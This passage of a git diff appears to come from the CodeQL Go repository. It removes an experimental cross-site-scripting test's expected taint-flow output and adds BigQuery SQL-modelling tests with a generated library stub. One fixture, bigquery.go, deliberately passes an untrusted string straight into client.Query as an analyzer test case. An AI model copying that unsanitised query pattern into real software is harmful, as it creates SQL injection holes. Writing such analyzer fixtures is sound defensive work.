-| HTMLTemplateEscapingPassthrough.go:89:10:89:24 | call to UserAgent | HTMLTemplateEscapingPassthrough.go:91:64:91:66 | src | provenance | Src:MaD:1 |
-| HTMLTemplateEscapingPassthrough.go:91:16:91:77 | type conversion | HTMLTemplateEscapingPassthrough.go:92:38:92:46 | converted | provenance | |
-| HTMLTemplateEscapingPassthrough.go:91:38:91:67 | call to HTMLEscapeString | HTMLTemplateEscapingPassthrough.go:91:16:91:77 | type conversion | provenance | |
-| HTMLTemplateEscapingPassthrough.go:91:64:91:66 | src | HTMLTemplateEscapingPassthrough.go:91:38:91:67 | call to HTMLEscapeString | provenance | MaD:2 |
-models
-| 1 | Source: net/http; Request; true; UserAgent; ; ; ReturnValue; remote; manual |
-| 2 | Summary: html/template; ; false; HTMLEscapeString; ; ; Argument[0]; ReturnValue; taint; manual |
-nodes
-| HTMLTemplateEscapingPassthrough.go:29:12:29:41 | type conversion | semmle.label | type conversion |
-| HTMLTemplateEscapingPassthrough.go:29:26:29:40 | call to UserAgent | semmle.label | call to UserAgent |
-| HTMLTemplateEscapingPassthrough.go:30:39:30:39 | a | semmle.label | a |
-| HTMLTemplateEscapingPassthrough.go:35:9:35:38 | type conversion | semmle.label | type conversion |
-| HTMLTemplateEscapingPassthrough.go:35:23:35:37 | call to UserAgent | semmle.label | call to UserAgent |
-| HTMLTemplateEscapingPassthrough.go:36:40:36:40 | a | semmle.label | a |
-| HTMLTemplateEscapingPassthrough.go:40:9:40:34 | type conversion | semmle.label | type conversion |
-| HTMLTemplateEscapingPassthrough.go:40:19:40:33 | call to UserAgent | semmle.label | call to UserAgent |
-| HTMLTemplateEscapingPassthrough.go:41:40:41:40 | a | semmle.label | a |
-| HTMLTemplateEscapingPassthrough.go:46:11:46:44 | type conversion | semmle.label | type conversion |
-| HTMLTemplateEscapingPassthrough.go:46:29:46:43 | call to UserAgent | semmle.label | call to UserAgent |
-| HTMLTemplateEscapingPassthrough.go:47:41:47:41 | c | semmle.label | c |
-| HTMLTemplateEscapingPassthrough.go:50:11:50:38 | type conversion | semmle.label | type conversion |
-| HTMLTemplateEscapingPassthrough.go:50:23:50:37 | call to UserAgent | semmle.label | call to UserAgent |
-| HTMLTemplateEscapingPassthrough.go:51:44:51:44 | d | semmle.label | d |
-| HTMLTemplateEscapingPassthrough.go:54:11:54:41 | type conversion | semmle.label | type conversion |
-| HTMLTemplateEscapingPassthrough.go:54:26:54:40 | call to UserAgent | semmle.label | call to UserAgent |
-| HTMLTemplateEscapingPassthrough.go:55:44:55:44 | e | semmle.label | e |
-| HTMLTemplateEscapingPassthrough.go:58:11:58:39 | type conversion | semmle.label | type conversion |
-| HTMLTemplateEscapingPassthrough.go:58:24:58:38 | call to UserAgent | semmle.label | call to UserAgent |
-| HTMLTemplateEscapingPassthrough.go:59:38:59:38 | b | semmle.label | b |
-| HTMLTemplateEscapingPassthrough.go:62:11:62:42 | type conversion | semmle.label | type conversion |
-| HTMLTemplateEscapingPassthrough.go:62:27:62:41 | call to UserAgent | semmle.label | call to UserAgent |
-| HTMLTemplateEscapingPassthrough.go:63:44:63:44 | f | semmle.label | f |
-| HTMLTemplateEscapingPassthrough.go:66:11:66:39 | type conversion | semmle.label | type conversion |
-| HTMLTemplateEscapingPassthrough.go:66:24:66:38 | call to UserAgent | semmle.label | call to UserAgent |
-| HTMLTemplateEscapingPassthrough.go:67:38:67:38 | g | semmle.label | g |
-| HTMLTemplateEscapingPassthrough.go:75:17:75:31 | call to UserAgent | semmle.label | call to UserAgent |
-| HTMLTemplateEscapingPassthrough.go:76:38:76:44 | escaped | semmle.label | escaped |
-| HTMLTemplateEscapingPassthrough.go:81:10:81:24 | call to UserAgent | semmle.label | call to UserAgent |
-| HTMLTemplateEscapingPassthrough.go:84:38:84:40 | src | semmle.label | src |
-| HTMLTemplateEscapingPassthrough.go:89:10:89:24 | call to UserAgent | semmle.label | call to UserAgent |
-| HTMLTemplateEscapingPassthrough.go:91:16:91:77 | type conversion | semmle.label | type conversion |
-| HTMLTemplateEscapingPassthrough.go:91:38:91:67 | call to HTMLEscapeString | semmle.label | call to HTMLEscapeString |
-| HTMLTemplateEscapingPassthrough.go:91:64:91:66 | src | semmle.label | src |
-| HTMLTemplateEscapingPassthrough.go:92:38:92:46 | converted | semmle.label | converted |
-subpaths
diff --git a/go/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qlref b/go/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qlref
deleted file mode 100644
index c425b9a445b..00000000000
--- a/go/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.qlref
+++ /dev/null
@@ -1,2 +0,0 @@
-query: experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql
-postprocess: utils/test/PrettyPrintModels.ql
diff --git a/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/QueryString.expected b/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/QueryString.expected
new file mode 100644
index 00000000000..42831abaf15
--- /dev/null
+++ b/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/QueryString.expected
@@ -0,0 +1,2 @@
+invalidModelRow
+testFailures
diff --git a/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/QueryString.ql b/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/QueryString.ql
new file mode 100644
index 00000000000..fa869181ed9
--- /dev/null
+++ b/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/QueryString.ql
@@ -0,0 +1,56 @@
+import go
+import semmle.go.dataflow.ExternalFlow
+import ModelValidation
+import utils.test.InlineExpectationsTest
+
+module SqlTest implements TestSig {
+ string getARelevantTag() { result = "query" }
+
+ predicate hasActualResult(Location location, string element, string tag, string value) {
+ tag = "query" and
+ exists(SQL::Query q, SQL::QueryString qs | qs = q.getAQueryString() |
+ q.getLocation() = location and
+ element = q.toString() and
+ value = qs.toString()
+ )
+ }
+}
+
+module QueryString implements TestSig {
+ string getARelevantTag() { result = "querystring" }
+
+ predicate hasActualResult(Location location, string element, string tag, string value) {
+ tag = "querystring" and
+ element = "" and
+ exists(SQL::QueryString qs | not exists(SQL::Query q | qs = q.getAQueryString()) |
+ qs.getLocation() = location and
+ value = qs.toString()
+ )
+ }
+}
+
+module Config implements DataFlow::ConfigSig {
+ predicate isSource(DataFlow::Node n) { n.asExpr() instanceof StringLit }
+
+ predicate isSink(DataFlow::Node n) {
+ n = any(DataFlow::CallNode cn | cn.getTarget().getName() = "sink").getAnArgument()
+ }
+}
+
+module Flow = TaintTracking::Global;
+
+module TaintFlow implements TestSig {
+ string getARelevantTag() { result = "flowfrom" }
+
+ predicate hasActualResult(Location location, string element, string tag, string value) {
+ tag = "flowfrom" and
+ element = "" and
+ exists(DataFlow::Node fromNode, DataFlow::Node toNode |
+ toNode.getLocation() = location and
+ Flow::flow(fromNode, toNode) and
+ value = fromNode.asExpr().(StringLit).getValue()
+ )
+ }
+}
+
+import MakeTest>
diff --git a/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/bigquery.expected b/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/bigquery.expected
new file mode 100644
index 00000000000..f0954e9491b
--- /dev/null
+++ b/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/bigquery.expected
@@ -0,0 +1 @@
+| bigquery.go:17:15:17:23 | untrusted | cloud.google.com/go/bigquery.Client | Query |
diff --git a/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/bigquery.go b/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/bigquery.go
new file mode 100644
index 00000000000..ae721c3a567
--- /dev/null
+++ b/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/bigquery.go
@@ -0,0 +1,18 @@
+package main
+
+//go:generate depstubber -vendor cloud.google.com/go/bigquery Client
+
+import (
+ "cloud.google.com/go/bigquery"
+)
+
+func getUntrustedString() string {
+ return "trouble"
+}
+
+func main() {
+ untrusted := getUntrustedString()
+ var client *bigquery.Client
+
+ client.Query(untrusted) // $ querystring=untrusted
+}
diff --git a/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/bigquery.ql b/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/bigquery.ql
new file mode 100644
index 00000000000..ba7d0de1650
--- /dev/null
+++ b/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/bigquery.ql
@@ -0,0 +1,7 @@
+import go
+
+from SQL::QueryString qs, Function func, string a, string b
+where
+ func.hasQualifiedName(a, b) and
+ qs = func.getACall().getSyntacticArgument(_)
+select qs, a, b
diff --git a/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/go.mod b/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/go.mod
new file mode 100644
index 00000000000..0211ae17fea
--- /dev/null
+++ b/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/go.mod
@@ -0,0 +1,50 @@
+module bigquerytest
+
+go 1.24
+
+require cloud.google.com/go/bigquery v1.68.0
+
+require (
+ cloud.google.com/go v0.121.0 // indirect
+ cloud.google.com/go/auth v0.16.1 // indirect
+ cloud.google.com/go/auth/oauth2adapt v0.2.8 // indirect
+ cloud.google.com/go/compute/metadata v0.6.0 // indirect
+ cloud.google.com/go/iam v1.5.2 // indirect
+ github.com/apache/arrow/go/v15 v15.0.2 // indirect
+ github.com/felixge/httpsnoop v1.0.4 // indirect
+ github.com/go-logr/logr v1.4.2 // indirect
+ github.com/go-logr/stdr v1.2.2 // indirect
+ github.com/goccy/go-json v0.10.2 // indirect
+ github.com/google/flatbuffers v23.5.26+incompatible // indirect
+ github.com/google/s2a-go v0.1.9 // indirect
+ github.com/google/uuid v1.6.0 // indirect
+ github.com/googleapis/enterprise-certificate-proxy v0.3.6 // indirect
+ github.com/googleapis/gax-go/v2 v2.14.1 // indirect
+ github.com/klauspost/compress v1.16.7 // indirect
+ github.com/klauspost/cpuid/v2 v2.2.5 // indirect
+ github.com/pierrec/lz4/v4 v4.1.18 // indirect
+ github.com/zeebo/xxh3 v1.0.2 // indirect
+ go.opentelemetry.io/auto/sdk v1.1.0 // indirect
+ go.opentelemetry.io/contrib/instrumentation/google.golang.org/grpc/otelgrpc v0.60.0 // indirect
+ go.opentelemetry.io/contrib/instrumentation/net/http/otelhttp v0.60.0 // indirect
+ go.opentelemetry.io/otel v1.35.0 // indirect
+ go.opentelemetry.io/otel/metric v1.35.0 // indirect
+ go.opentelemetry.io/otel/trace v1.35.0 // indirect
+ golang.org/x/crypto v0.37.0 // indirect
+ golang.org/x/exp v0.0.0-20240719175910-8a7402abbf56 // indirect
+ golang.org/x/mod v0.23.0 // indirect
+ golang.org/x/net v0.39.0 // indirect
+ golang.org/x/oauth2 v0.29.0 // indirect
+ golang.org/x/sync v0.14.0 // indirect
+ golang.org/x/sys v0.32.0 // indirect
+ golang.org/x/text v0.24.0 // indirect
+ golang.org/x/time v0.11.0 // indirect
+ golang.org/x/tools v0.30.0 // indirect
+ golang.org/x/xerrors v0.0.0-20240903120638-7835f813f4da // indirect
+ google.golang.org/api v0.231.0 // indirect
+ google.golang.org/genproto v0.0.0-20250303144028-a0af3efb3deb // indirect
+ google.golang.org/genproto/googleapis/api v0.0.0-20250428153025-10db94c68c34 // indirect
+ google.golang.org/genproto/googleapis/rpc v0.0.0-20250428153025-10db94c68c34 // indirect
+ google.golang.org/grpc v1.72.0 // indirect
+ google.golang.org/protobuf v1.36.6 // indirect
+)
diff --git a/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/vendor/cloud.google.com/go/bigquery/stub.go b/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/vendor/cloud.google.com/go/bigquery/stub.go
new file mode 100644
index 00000000000..5f7b3e51f59
--- /dev/null
+++ b/go/ql/test/library-tests/semmle/go/frameworks/SQL/bigquery/vendor/cloud.google.com/go/bigquery/stub.go
@@ -0,0 +1,1125 @@
+// Code generated by depstubber. DO NOT EDIT.
+// This is a simple stub for cloud.google.com/go/bigquery, strictly for use in testing.
+
+// See the LICENSE file for information about the licensing of the original library.
+// Source: cloud.google.com/go/bigquery (exports: Client; functions: )
+
+// Package bigquery is a stub of cloud.google.com/go/bigquery, generated by depstubber.
+package bigquery
+
+import (
+ context "context"
+ time "time"
+)
+
+type AccessEntry struct {
+ Role AccessRole
+ EntityType EntityType
+ Entity string
+ View *Table
+ Routine *Routine
+ Dataset *DatasetAccessEntry
+ Condition *Expr
+}
+
+type AccessRole string
+
+type ArrowIterator interface {
+ Next() (*ArrowRecordBatch, error)
+ Schema() Schema
+ SerializedArrowSchema() []byte
+}
+
+type ArrowRecordBatch struct {
+ Data []byte
+ Schema []byte
+ PartitionID string
+}
+
+func (_ *ArrowRecordBatch) Read(_ []byte) (int, error) {
+ return 0, nil
+}
+
+type AvroOptions struct {
+ UseAvroLogicalTypes bool
+}
+
+type BigLakeConfiguration struct {
+ ConnectionID string
+ StorageURI string
+ FileFormat BigLakeFileFormat
+ TableFormat BigLakeTableFormat
+}
+
+type BigLakeFileFormat string
+
+type BigLakeTableFormat string
+
+type CSVOptions struct {
+ AllowJaggedRows bool
+ AllowQuotedNewlines bool
+ Encoding Encoding
+ FieldDelimiter string
+ Quote string
+ ForceZeroQuote bool
+ SkipLeadingRows int64
+ NullMarker string
+ PreserveASCIIControlCharacters bool
+}
+
+type Client struct {
+ Location string
+}
+
+func (_ *Client) Close() error {
+ return nil
+}
+
+func (_ *Client) Dataset(_ string) *Dataset {
+ return nil
+}
+
+func (_ *Client) DatasetInProject(_ string, _ string) *Dataset {
+ return nil
+}
+
+func (_ *Client) Datasets(_ context.Context) *DatasetIterator {
+ return nil
+}
+
+func (_ *Client) DatasetsInProject(_ context.Context, _ string) *DatasetIterator {
+ return nil
+}
+
+func (_ *Client) EnableStorageReadClient(_ context.Context, _ ...interface{}) error {
+ return nil
+}
+
+func (_ *Client) JobFromID(_ context.Context, _ string) (*Job, error) {
+ return nil, nil
+}
+
+func (_ *Client) JobFromIDLocation(_ context.Context, _ string, _ string) (*Job, error) {
+ return nil, nil
+}
+
+func (_ *Client) JobFromProject(_ context.Context, _ string, _ string, _ string) (*Job, error) {
+ return nil, nil
+}
+
+func (_ *Client) Jobs(_ context.Context) *JobIterator {
+ return nil
+}
+
+func (_ *Client) Project() string {
+ return ""
+}
+
+func (_ *Client) Query(_ string) *Query {
+ return nil
+}
+
+type CloneDefinition struct {
+ BaseTableReference *Table
+ CloneTime time.Time
+}
+
+type Clustering struct {
+ Fields []string
+}
+
+type ColumnNameCharacterMap string
+
+type ColumnReference struct {
+ ReferencingColumn string
+ ReferencedColumn string
+}
+
+type Compression string
+
+type ConnectionProperty struct {
+ Key string
+ Value string
+}
+
+type Copier struct {
+ JobIDConfig
+ CopyConfig
+}
+
+func (_ *Copier) Run(_ context.Context) (*Job, error) {
+ return nil, nil
+}
+
+type CopyConfig struct {
+ Srcs []*Table
+ Dst *Table
+ CreateDisposition TableCreateDisposition
+ WriteDisposition TableWriteDisposition
+ Labels map[string]string
+ DestinationEncryptionConfig *EncryptionConfig
+ OperationType TableCopyOperationType
+ JobTimeout time.Duration
+ Reservation string
+}
+
+type DataFormat string
+
+type Dataset struct {
+ ProjectID string
+ DatasetID string
+}
+
+func (_ *Dataset) Create(_ context.Context, _ *DatasetMetadata) error {
+ return nil
+}
+
+func (_ *Dataset) CreateWithOptions(_ context.Context, _ *DatasetMetadata, _ ...DatasetOption) error {
+ return nil
+}
+
+func (_ *Dataset) Delete(_ context.Context) error {
+ return nil
+}
+
+func (_ *Dataset) DeleteWithContents(_ context.Context) error {
+ return nil
+}
+
+func (_ *Dataset) Identifier(_ IdentifierFormat) (string, error) {
+ return "", nil
+}
+
+func (_ *Dataset) Metadata(_ context.Context) (*DatasetMetadata, error) {
+ return nil, nil
+}
+
+func (_ *Dataset) MetadataWithOptions(_ context.Context, _ ...DatasetOption) (*DatasetMetadata, error) {
+ return nil, nil
+}
+
+func (_ *Dataset) Model(_ string) *Model {
+ return nil
+}
+
+func (_ *Dataset) Models(_ context.Context) *ModelIterator {
+ return nil
+}
+
+func (_ *Dataset) Routine(_ string) *Routine {
+ return nil
+}
+
+func (_ *Dataset) Routines(_ context.Context) *RoutineIterator {
+ return nil
+}
+
+func (_ *Dataset) Table(_ string) *Table {
+ return nil
+}
+
+func (_ *Dataset) Tables(_ context.Context) *TableIterator {
+ return nil
+}
+
+func (_ *Dataset) Update(_ context.Context, _ DatasetMetadataToUpdate, _ string) (*DatasetMetadata, error) {
+ return nil, nil
+}
+
+func (_ *Dataset) UpdateWithOptions(_ context.Context, _ DatasetMetadataToUpdate, _ string, _ ...DatasetOption) (*DatasetMetadata, error) {
+ return nil, nil
+}
+
+type DatasetAccessEntry struct {
+ Dataset *Dataset
+ TargetTypes []string
+}
+
+type DatasetIterator struct {
+ ListHidden bool
+ Filter string
+ ProjectID string
+}
+
+func (_ *DatasetIterator) Next() (*Dataset, error) {
+ return nil, nil
+}
+
+func (_ *DatasetIterator) PageInfo() interface{} {
+ return nil
+}
+
+type DatasetMetadata struct {
+ Name string
+ Description string
+ Location string
+ DefaultTableExpiration time.Duration
+ Labels map[string]string
+ Access []*AccessEntry
+ DefaultEncryptionConfig *EncryptionConfig
+ DefaultPartitionExpiration time.Duration
+ DefaultCollation string
+ ExternalDatasetReference *ExternalDatasetReference
+ MaxTimeTravel time.Duration
+ StorageBillingModel string
+ CreationTime time.Time
+ LastModifiedTime time.Time
+ FullID string
+ Tags []*DatasetTag
+ IsCaseInsensitive bool
+ ETag string
+}
+
+type DatasetMetadataToUpdate struct {
+ Description interface{}
+ Name interface{}
+ DefaultTableExpiration interface{}
+ DefaultPartitionExpiration interface{}
+ DefaultEncryptionConfig *EncryptionConfig
+ DefaultCollation interface{}
+ ExternalDatasetReference *ExternalDatasetReference
+ MaxTimeTravel interface{}
+ StorageBillingModel interface{}
+ Access []*AccessEntry
+ IsCaseInsensitive interface{}
+}
+
+func (_ *DatasetMetadataToUpdate) DeleteLabel(_ string) {}
+
+func (_ *DatasetMetadataToUpdate) SetLabel(_ string, _ string) {}
+
+type DatasetOption func(interface{})
+
+type DatasetTag struct {
+ TagKey string
+ TagValue string
+}
+
+type DecimalTargetType string
+
+type Encoding string
+
+type EncryptionConfig struct {
+ KMSKeyName string
+}
+
+type EntityType int
+
+type Error struct {
+ Location string
+ Message string
+ Reason string
+}
+
+func (_ Error) Error() string {
+ return ""
+}
+
+type Expr struct {
+ Expression string
+ Title string
+ Description string
+ Location string
+}
+
+type ExternalData interface{}
+
+type ExternalDataConfig struct {
+ SourceFormat DataFormat
+ SourceURIs []string
+ Schema Schema
+ AutoDetect bool
+ Compression Compression
+ IgnoreUnknownValues bool
+ MaxBadRecords int64
+ Options ExternalDataConfigOptions
+ HivePartitioningOptions *HivePartitioningOptions
+ DecimalTargetTypes []DecimalTargetType
+ ConnectionID string
+ ReferenceFileSchemaURI string
+ MetadataCacheMode MetadataCacheMode
+}
+
+type ExternalDataConfigOptions interface{}
+
+type ExternalDatasetReference struct {
+ Connection string
+ ExternalSource string
+}
+
+type ExtractConfig struct {
+ Src *Table
+ SrcModel *Model
+ Dst *GCSReference
+ DisableHeader bool
+ Labels map[string]string
+ UseAvroLogicalTypes bool
+ JobTimeout time.Duration
+ Reservation string
+}
+
+type Extractor struct {
+ JobIDConfig
+ ExtractConfig
+}
+
+func (_ *Extractor) Run(_ context.Context) (*Job, error) {
+ return nil, nil
+}
+
+type FieldSchema struct {
+ Name string
+ Description string
+ Repeated bool
+ Required bool
+ Type FieldType
+ PolicyTags *PolicyTagList
+ Schema Schema
+ MaxLength int64
+ Precision int64
+ Scale int64
+ DefaultValueExpression string
+ Collation string
+ RangeElementType *RangeElementType
+ RoundingMode RoundingMode
+}
+
+type FieldType string
+
+type FileConfig struct {
+ SourceFormat DataFormat
+ AutoDetect bool
+ MaxBadRecords int64
+ IgnoreUnknownValues bool
+ Schema Schema
+ CSVOptions
+ ParquetOptions *ParquetOptions
+ AvroOptions *AvroOptions
+}
+
+type ForeignKey struct {
+ Name string
+ ReferencedTable *Table
+ ColumnReferences []*ColumnReference
+}
+
+type GCSReference struct {
+ URIs []string
+ FileConfig
+ DestinationFormat DataFormat
+ Compression Compression
+}
+
+type HivePartitioningMode string
+
+type HivePartitioningOptions struct {
+ Mode HivePartitioningMode
+ SourceURIPrefix string
+ RequirePartitionFilter bool
+}
+
+type IdentifierFormat string
+
+type Inserter struct {
+ SkipInvalidRows bool
+ IgnoreUnknownValues bool
+ TableTemplateSuffix string
+}
+
+func (_ *Inserter) Put(_ context.Context, _ interface{}) error {
+ return nil
+}
+
+type IntervalValue struct {
+ Years int32
+ Months int32
+ Days int32
+ Hours int32
+ Minutes int32
+ Seconds int32
+ SubSecondNanos int32
+}
+
+func (_ *IntervalValue) Canonicalize() *IntervalValue {
+ return nil
+}
+
+func (_ *IntervalValue) IsCanonical() bool {
+ return false
+}
+
+func (_ *IntervalValue) String() string {
+ return ""
+}
+
+func (_ *IntervalValue) ToDuration() time.Duration {
+ return 0
+}
+
+type Job struct{}
+
+func (_ *Job) Cancel(_ context.Context) error {
+ return nil
+}
+
+func (_ *Job) Children(_ context.Context) *JobIterator {
+ return nil
+}
+
+func (_ *Job) Config() (JobConfig, error) {
+ return nil, nil
+}
+
+func (_ *Job) Delete(_ context.Context) error {
+ return nil
+}
+
+func (_ *Job) Email() string {
+ return ""
+}
+
+func (_ *Job) ID() string {
+ return ""
+}
+
+func (_ *Job) LastStatus() *JobStatus {
+ return nil
+}
+
+func (_ *Job) Location() string {
+ return ""
+}
+
+func (_ *Job) ProjectID() string {
+ return ""
+}
+
+func (_ *Job) Read(_ context.Context) (*RowIterator, error) {
+ return nil, nil
+}
+
+func (_ *Job) Status(_ context.Context) (*JobStatus, error) {
+ return nil, nil
+}
+
+func (_ *Job) Wait(_ context.Context) (*JobStatus, error) {
+ return nil, nil
+}
+
+type JobConfig interface{}
+
+type JobIDConfig struct {
+ JobID string
+ AddJobIDSuffix bool
+ Location string
+ ProjectID string
+}
+
+type JobIterator struct {
+ ProjectID string
+ AllUsers bool
+ State State
+ MinCreationTime time.Time
+ MaxCreationTime time.Time
+ ParentJobID string
+}
+
+func (_ *JobIterator) Next() (*Job, error) {
+ return nil, nil
+}
+
+func (_ *JobIterator) PageInfo() interface{} {
+ return nil
+}
+
+type JobStatistics struct {
+ CreationTime time.Time
+ StartTime time.Time
+ EndTime time.Time
+ TotalBytesProcessed int64
+ Details Statistics
+ TotalSlotDuration time.Duration
+ ReservationUsage []*ReservationUsage
+ ReservationID string
+ NumChildJobs int64
+ ParentJobID string
+ ScriptStatistics *ScriptStatistics
+ TransactionInfo *TransactionInfo
+ SessionInfo *SessionInfo
+ FinalExecutionDuration time.Duration
+ Edition ReservationEdition
+}
+
+type JobStatus struct {
+ State State
+ Errors []*Error
+ Statistics *JobStatistics
+}
+
+func (_ *JobStatus) Done() bool {
+ return false
+}
+
+func (_ *JobStatus) Err() error {
+ return nil
+}
+
+type LoadConfig struct {
+ Src LoadSource
+ Dst *Table
+ CreateDisposition TableCreateDisposition
+ WriteDisposition TableWriteDisposition
+ Labels map[string]string
+ TimePartitioning *TimePartitioning
+ RangePartitioning *RangePartitioning
+ Clustering *Clustering
+ DestinationEncryptionConfig *EncryptionConfig
+ SchemaUpdateOptions []string
+ UseAvroLogicalTypes bool
+ ProjectionFields []string
+ HivePartitioningOptions *HivePartitioningOptions
+ DecimalTargetTypes []DecimalTargetType
+ JobTimeout time.Duration
+ ReferenceFileSchemaURI string
+ CreateSession bool
+ ConnectionProperties []*ConnectionProperty
+ MediaOptions []interface{}
+ ColumnNameCharacterMap ColumnNameCharacterMap
+ Reservation string
+}
+
+type LoadSource interface{}
+
+type Loader struct {
+ JobIDConfig
+ LoadConfig
+}
+
+func (_ *Loader) Run(_ context.Context) (*Job, error) {
+ return nil, nil
+}
+
+type MaterializedViewDefinition struct {
+ EnableRefresh bool
+ LastRefreshTime time.Time
+ Query string
+ RefreshInterval time.Duration
+ AllowNonIncrementalDefinition bool
+ MaxStaleness *IntervalValue
+}
+
+type MetadataCacheMode string
+
+type Model struct {
+ ProjectID string
+ DatasetID string
+ ModelID string
+}
+
+func (_ *Model) Delete(_ context.Context) error {
+ return nil
+}
+
+func (_ *Model) ExtractorTo(_ *GCSReference) *Extractor {
+ return nil
+}
+
+func (_ *Model) FullyQualifiedName() string {
+ return ""
+}
+
+func (_ *Model) Identifier(_ IdentifierFormat) (string, error) {
+ return "", nil
+}
+
+func (_ *Model) Metadata(_ context.Context) (*ModelMetadata, error) {
+ return nil, nil
+}
+
+func (_ *Model) Update(_ context.Context, _ ModelMetadataToUpdate, _ string) (*ModelMetadata, error) {
+ return nil, nil
+}
+
+type ModelIterator struct{}
+
+func (_ *ModelIterator) Next() (*Model, error) {
+ return nil, nil
+}
+
+func (_ *ModelIterator) PageInfo() interface{} {
+ return nil
+}
+
+type ModelMetadata struct {
+ Description string
+ Name string
+ Type string
+ CreationTime time.Time
+ LastModifiedTime time.Time
+ ExpirationTime time.Time
+ Location string
+ EncryptionConfig *EncryptionConfig
+ Labels map[string]string
+ ETag string
+}
+
+func (_ *ModelMetadata) RawFeatureColumns() ([]*StandardSQLField, error) {
+ return nil, nil
+}
+
+func (_ *ModelMetadata) RawLabelColumns() ([]*StandardSQLField, error) {
+ return nil, nil
+}
+
+func (_ *ModelMetadata) RawTrainingRuns() []*TrainingRun {
+ return nil
+}
+
+type ModelMetadataToUpdate struct {
+ Description interface{}
+ Name interface{}
+ ExpirationTime time.Time
+ EncryptionConfig *EncryptionConfig
+}
+
+func (_ *ModelMetadataToUpdate) DeleteLabel(_ string) {}
+
+func (_ *ModelMetadataToUpdate) SetLabel(_ string, _ string) {}
+
+type ParquetOptions struct {
+ EnumAsString bool
+ EnableListInference bool
+}
+
+type PolicyTagList struct {
+ Names []string
+}
+
+type PrimaryKey struct {
+ Columns []string
+}
+
+type Query struct {
+ JobIDConfig
+ QueryConfig
+}
+
+func (_ *Query) Read(_ context.Context) (*RowIterator, error) {
+ return nil, nil
+}
+
+func (_ *Query) Run(_ context.Context) (*Job, error) {
+ return nil, nil
+}
+
+type QueryConfig struct {
+ Dst *Table
+ Q string
+ DefaultProjectID string
+ DefaultDatasetID string
+ TableDefinitions map[string]ExternalData
+ CreateDisposition TableCreateDisposition
+ WriteDisposition TableWriteDisposition
+ DisableQueryCache bool
+ DisableFlattenedResults bool
+ AllowLargeResults bool
+ Priority QueryPriority
+ MaxBillingTier int
+ MaxBytesBilled int64
+ UseStandardSQL bool
+ UseLegacySQL bool
+ Parameters []QueryParameter
+ TimePartitioning *TimePartitioning
+ RangePartitioning *RangePartitioning
+ Clustering *Clustering
+ Labels map[string]string
+ DryRun bool
+ DestinationEncryptionConfig *EncryptionConfig
+ SchemaUpdateOptions []string
+ CreateSession bool
+ ConnectionProperties []*ConnectionProperty
+ JobTimeout time.Duration
+ Reservation string
+}
+
+type QueryParameter struct {
+ Name string
+ Value interface{}
+}
+
+type QueryPriority string
+
+type RangeElementType struct {
+ Type FieldType
+}
+
+type RangePartitioning struct {
+ Field string
+ Range *RangePartitioningRange
+}
+
+type RangePartitioningRange struct {
+ Start int64
+ End int64
+ Interval int64
+}
+
+type RemoteFunctionOptions struct {
+ Connection string
+ Endpoint string
+ MaxBatchingRows int64
+ UserDefinedContext map[string]string
+}
+
+type ReservationEdition string
+
+type ReservationUsage struct {
+ SlotMillis int64
+ Name string
+}
+
+type RoundingMode string
+
+type Routine struct {
+ ProjectID string
+ DatasetID string
+ RoutineID string
+}
+
+func (_ *Routine) Create(_ context.Context, _ *RoutineMetadata) error {
+ return nil
+}
+
+func (_ *Routine) Delete(_ context.Context) error {
+ return nil
+}
+
+func (_ *Routine) FullyQualifiedName() string {
+ return ""
+}
+
+func (_ *Routine) Identifier(_ IdentifierFormat) (string, error) {
+ return "", nil
+}
+
+func (_ *Routine) Metadata(_ context.Context) (*RoutineMetadata, error) {
+ return nil, nil
+}
+
+func (_ *Routine) Update(_ context.Context, _ *RoutineMetadataToUpdate, _ string) (*RoutineMetadata, error) {
+ return nil, nil
+}
+
+type RoutineArgument struct {
+ Name string
+ Kind string
+ Mode string
+ DataType *StandardSQLDataType
+}
+
+type RoutineDeterminism string
+
+type RoutineIterator struct{}
+
+func (_ *RoutineIterator) Next() (*Routine, error) {
+ return nil, nil
+}
+
+func (_ *RoutineIterator) PageInfo() interface{} {
+ return nil
+}
+
+type RoutineMetadata struct {
+ ETag string
+ Type string
+ CreationTime time.Time
+ Description string
+ DeterminismLevel RoutineDeterminism
+ LastModifiedTime time.Time
+ Language string
+ Arguments []*RoutineArgument
+ RemoteFunctionOptions *RemoteFunctionOptions
+ ReturnType *StandardSQLDataType
+ ReturnTableType *StandardSQLTableType
+ ImportedLibraries []string
+ Body string
+ DataGovernanceType string
+}
+
+type RoutineMetadataToUpdate struct {
+ Arguments []*RoutineArgument
+ Description interface{}
+ DeterminismLevel interface{}
+ Type interface{}
+ Language interface{}
+ Body interface{}
+ ImportedLibraries []string
+ ReturnType *StandardSQLDataType
+ ReturnTableType *StandardSQLTableType
+ DataGovernanceType interface{}
+}
+
+type RowIterator struct {
+ StartIndex uint64
+ Schema Schema
+ TotalRows uint64
+}
+
+func (_ *RowIterator) ArrowIterator() (ArrowIterator, error) {
+ return nil, nil
+}
+
+func (_ *RowIterator) IsAccelerated() bool {
+ return false
+}
+
+func (_ *RowIterator) Next(_ interface{}) error {
+ return nil
+}
+
+func (_ *RowIterator) PageInfo() interface{} {
+ return nil
+}
+
+func (_ *RowIterator) QueryID() string {
+ return ""
+}
+
+func (_ *RowIterator) SourceJob() *Job {
